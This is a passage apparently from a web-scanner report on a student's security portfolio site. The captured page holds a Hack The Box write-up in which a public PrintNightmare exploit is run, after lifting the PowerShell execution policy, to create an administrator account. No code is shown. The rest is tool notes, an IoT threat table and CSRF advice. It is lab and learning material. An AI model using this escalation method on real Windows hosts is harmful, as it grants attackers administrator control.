WinPEAS found was a Print spooler process. After some Googling I stubled across <a href="https://github.com/calebstewart/CVE-2021-1675">this</a> CVE. So lets get that exploit on the target machine in the same way we did with WinPEAS.</p> <a href="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png" alt=""></a> <p>I wasn't able to run the script because of some permission issues, but after some Googling I found out I could just set the policy to unrestricted.</p> <a href="img/portfolio/minor/red/htb_windows/RunExploit.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RunExploit.png" alt=""></a> <p>I ran the exploit and it created a new administrator account for me with a username and password that I chose and know. Now the only thing that's left is just to logout as this user and login with our new user.</p> <a href="img/portfolio/minor/red/htb_windows/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RootFlag.png" alt=""></a> <p>And that's it! We have the root flag! This box wasn't that hard but still fun and sometimes challenging due to my lack of knowledge of Windows hacking. Overall a fun learning experience.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal24" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal25" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">My personal pen-testing toolboxes</p> <p>Like every other profession good tools make a world of difference on the quality and efficiency of the end product. This isn't any different with cyber security. Good tools can improve results providing you with more information and helping with getting to the results faster.</p> <h3>On the road</h3> <a href="img/portfolio/minor/red/kalilinux.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/kalilinux.jpg" alt=""></a> <p>On the road when I'm on my laptop I like to use Kali Linux. It's just convenient that it comes pre-loaded with all the tools you need, and it runs fairly lightweight on older laptops. The "kali-undercover" command is also a fun little gimmick that changes your Kali desktop to a Windows clone which for a random passer by looks just like a regular Windows machine. Making it incognito to use Kali whenever you're in a public space and want to keep a low profile.</p> <h3>At home</h3> <a href="img/portfolio/minor/red/parrotos.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/parrotos.jpg" alt=""></a> <p>At home on my main desktop PC I recently switched to natively running ParrotOS. This was because I liked to try something new and the reviews were good. It comes pre-loaded with the same tools as kali and a few extra tools like diverting all traffic trough tor making the machine even more anonymous. The user experience is a little better and just overall a good looking distro. This comes at a cost because it takes more resources to run. This isn't a problem on my PC because it's quite powerful and I don't have to think about battery life. Alongside ParrotOS I run a Windows VM in qemu with WinApps running on Linux which enables me to run any Windows application I want on Linux. I mostly use it for Microsoft Office products.</p> <h3>Cloud</h3> <a href="img/portfolio/minor/red/googlecloudconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/googlecloudconsole.PNG" alt=""></a> <p>Google cloud console is an awesome way to always have a Linux machine at your disposal where ever you are. It's fully cloud based and free to use. So when you're in need of a Linux terminal and you have access to a browser you're set. The only downside is that the machine is volatile so when you shut it down it is gone. This requires you to always re-install tools and such. Luckily due to it running on Google cloud it is pretty fast. Just overall a good tool to know about.</p> <a href="img/portfolio/minor/red/guacamole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamole.PNG" alt=""></a> <p>Now Guacamole is kinda like Google cloud console, but it's self-hosted. It can turn any machine with a SSH server into a cloud based web terminal accessible from any browser where ever you are. It takes a little time and effort to set it up but it is worth it. All the benefits from Google cloud console but your data is hosted by you and it is saved. In my case I installed Kali Linux on a docker server and now I can access it whenever I need to it doesn't matter if I'm on Windows, Linux or even my phone.</p> <a href="img/portfolio/minor/red/guacamoleconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamoleconsole.PNG" alt=""></a> <h3>Windows</h3> <a href="img/portfolio/minor/red/wsl.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/wsl.jpg" alt=""></a> <p>Whenever I'm using Windows and need to do a quick little task that requires Linux I don't want to reboot and boot into Linux because it's a hassle. That's when I use WSL. WSL stands for Windows Subsystem for Linux and it works great. It's not everything for example network related stuff is not possible due to WSL not having direct access to the network card but for other simple stuff it works great. And if I need to do a quick little scan I can use the Windows version of NMap. And if I need a little more functionality I can always use the before mentioned Guacamole to have instant access to a fully functional Kali instance in my browser.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal26" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Security of IOT protocols and technology</p> <p>Nowadays more and more people have their home filled with smart devices. Almost everything is smart in some way. Which creates new problems like security. These products weren't made with security in mind, on the contrary, they were made to be cheap and easy to use for people without IT knowledge.</p> <p>This causes IOT products to be, the most of the time, the weakest link in someones network. But IOT is here to stay and it is improving fast so let's take a look at some common security protocols.</p> <table> <tr> <th>Protocol</th> <th>Feature</th> <th>TCP/UDP</th> <th>Security</th> </tr> <tr> <td>LOWPAN</td> <td>WPANs to maintain an IPv6 network</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>MQTT</td> <td>To utilize the publish/subscribe pattern to provide transition flexibility and simplicity of implementation </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>AMQP</td> <td>To provide publish-subscribe and point-to point communication</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>CoAP</td> <td>To connect resource-constrained devices in a secure and reliable way</td> <td>UDP</td> <td>DTLS</td> </tr> <tr> <td>XMPP</td> <td>To transfer instant messaging (IM) standard that is used for multi-party chatting, voice and video calling and telepresence </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>DSS</td> <td>To enable scalable, real-time, dependable, high-performance and interoperable data exchanges using a publish–subscribe pattern </td> <td>TCP/UDP</td> <td>SSL</td> </tr> </table> <p>To show the security flaws in IOT devices</p> <table> <thead> <tr class="rowsep-1 valign-top"> <th scope="col">Layers</th> <th scope="col">Attacks</th> <th scope="col">Issues</th> <th scope="col">Control Measures</th> </tr> </thead> <tbody> <tr class="valign-top"> <td class="align-left" rowspan="6">Perception</td> <td class="align-left">Hardware Tempering</td> <td class="align-left">Data Leakage (Keys, Routing Tables, Etc)</td> <td class="align-left">Secure Physical Design</td> </tr> <tr class="valign-top"> <td class="align-left">Fake Node Injection</td> <td class="align-left">Fake Data Manipulation</td> <td class="align-left">Secure Booting</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Code Injection</td> <td class="align-left">Halt Transmission</td> <td class="align-left">Intrusion Detection Technology (IDT)</td> </tr> <tr class="valign-top"> <td class="align-left">Sleep Denial Attack</td> <td class="align-left">Node Shutdown</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">WSN Node Jamming</td> <td class="align-left">Jam Node Communication</td> <td class="align-left">IPSec Security Channel</td> </tr> <tr class="valign-top"> <td class="align-left">RF Interference Of RFID</td> <td class="align-left">Distortion In Node Communication</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="12">Network</td> <td class="align-left">Traffic Analysis Attacks</td> <td class="align-left">Data Leakage (About Network)</td> <td class="align-left">Routing Security</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Spoofing</td> <td class="align-left">Intrusion In Network Data Manipulation</td> <td class="align-left">GPS Location System</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Unauthorized Access</td> <td class="align-left">Node Data Can Be Modified (Read, Write & Delete)</td> <td class="align-left">Network Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Sinkhole Attack</td> <td class="align-left">Data Leakage (Data Of The Nodes)</td> <td class="align-left">Security Aware Ad Hoc Routing</td> </tr> <tr class="valign-top"> <td class="align-left">Man In The Middle Attack</td> <td class="align-left">Data Privacy Violation</td> <td class="align-left">Point-To-Point Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Routing Information Attack</td> <td class="align-left">Routing Loops (Network Destruction)</td> <td class="align-left">Encrypting Routing Tables</td> </tr> <tr class="valign-top"> <td class="align-left">Application Security</td> <td class="align-left">Privacy Violation</td> <td class="align-left">Web Application Scanner</td> </tr> <tr class="valign-top"> <td class="align-left">Data Security</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Homomorphic Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Underlying Infrastructure Security</td> <td class="align-left">Service Hijacking</td> <td class="align-left">Fragmentation Redundancy Scattering</td> </tr> <tr class="valign-top"> <td class="align-left">Third-Party Relationships</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Shared Resources</td> <td class="align-left">Resources Destruction</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left">Virtualization Threats</td> <td class="align-left">Resources Theft</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="6">Application</td> <td class="align-left">Phishing Attacks</td> <td class="align-left">Data Leakage (User Credentials Data)</td> <td class="align-left">Biometrics Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Virus, Worms, Trojan Horse, Spyware</td> <td class="align-left">Resource Destruction & Hijacking</td> <td class="align-left">Protective Software</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Scripts</td> <td class="align-left">Hijacking</td> <td class="align-left">Firewalls</td> </tr> <tr class="valign-top"> <td class="align-left">Denial Of Service</td> <td class="align-left">Resource Destruction</td> <td class="align-left">Access Control Lists</td> </tr> <tr class="valign-top"> <td class="align-left">Data Protection And Recovery</td> <td class="align-left">Data Loss & Catastrophic Damage</td> <td class="align-left">Cryptographic Hash Functions</td> </tr> <tr class="valign-top"> <td class="align-left">Software Vulnerabilities</td> <td class="align-left">Buffer Over Flow</td> <td class="align-left">Awareness Of Security</td> </tr> </tbody> </table> <a href="https://www.sciencedirect.com/science/article/pii/S108480452030237X#sec3">Source</a> <p>As seen in this article there are a lot of different vulnerabilities in IOT devices. And not all of them can be solved with just a good security protocol.</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: November 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal27" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal28" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal29" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal30" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal31" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Evidence <form id="contactForm" name="sentMessage" novalidate="novalidate">Solution Phase: Architecture and Design
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
For example, use anti-CSRF packages such as the OWASP CSRFGuard.
Phase: Implementation
Ensure that your application is free of cross-site scripting issues, because most CSRF defenses can be bypassed using attacker-controlled script.
Phase: Architecture and Design
Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330).
Note that this can be bypassed using XSS.
Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
Note that this can be bypassed using XSS.
Use the ESAPI Session Management control.
This control includes a component for CSRF.
Do not use the GET method for any request that triggers a state change.
Phase: Implementation
Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
-
Cross-Domain JavaScript Source File Inclusion (2)
GET https://beekmans.dev
Alert tags Alert description The page includes one or more script files from a third-party domain.
Request Request line and header section (192 bytes)
GET https://beekmans.dev HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cacheRequest body (0 bytes)
Response Status line and header section (1047 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:11 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4lOrbKK8y%2Bn8QLhKEGpB7rePrCHT1J%2BQaOZJP06h5%2BW2GkK9CRq%2Fdn7ChLzJzoJLiDaKfMYCpMPOGx7ddQ5eVNaVcohEeYRecx%2BV4c%2BapqYy04o6ANFaN3V3sF2rfmk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a31e5f8a4c13-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (178340 bytes)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Cyber portfolio</title> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href='https://fonts.googleapis.com/css?family=Kaushan+Script' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic,700italic' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700' rel='stylesheet' type='text/css'> <link href="css/agency.min.css" rel="stylesheet"> </head> <body id="page-top"> <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav"> <div class="container"> <a class="navbar-brand js-scroll-trigger" href="#page-top">Cyber security</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fas fa-bars"></i> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav text-uppercase ml-auto"> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#services">Services</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#portfolio">Portfolio</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#about">About</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#team">Team</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#contact">Contact</a> </li> </ul> </div> </div> </nav> <header class="masthead"> <div class="container"> <div class="intro-text"> <div class="intro-lead-in">Welcome To My Portfolio!</div> <div class="intro-heading text-uppercase">It's Nice To Meet You</div> <a class="btn btn-primary btn-xl text-uppercase js-scroll-trigger" href="#services">Tell Me More</a> </div> </div> </header> <section id="services"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Introduction</h2> <h3 class="section-subheading text-muted">My project.</h3> </div> </div> <div class="row text-center"> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-shopping-cart fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Environment</h4> <p class="text-muted">I'm using my own Hyper visor (Microsoft's Hyper-V) on a private server in my home. I can connect via a VPN that's also running on this server to my home network to remotely manage the server and manage and deploy VM's. The server is an old DELL T310 with a Xeon x3440, 24GB ddr3 registered ecc 1333mhz memory and all VM's are installed on a Crucial MX500 ssd. The server is part of the home network just like every other computer in my home.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-laptop fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Context</h4> <p class="text-muted">The network I'm building has as focus a webhosting company with some onsite employee's maybe a place for guests and some 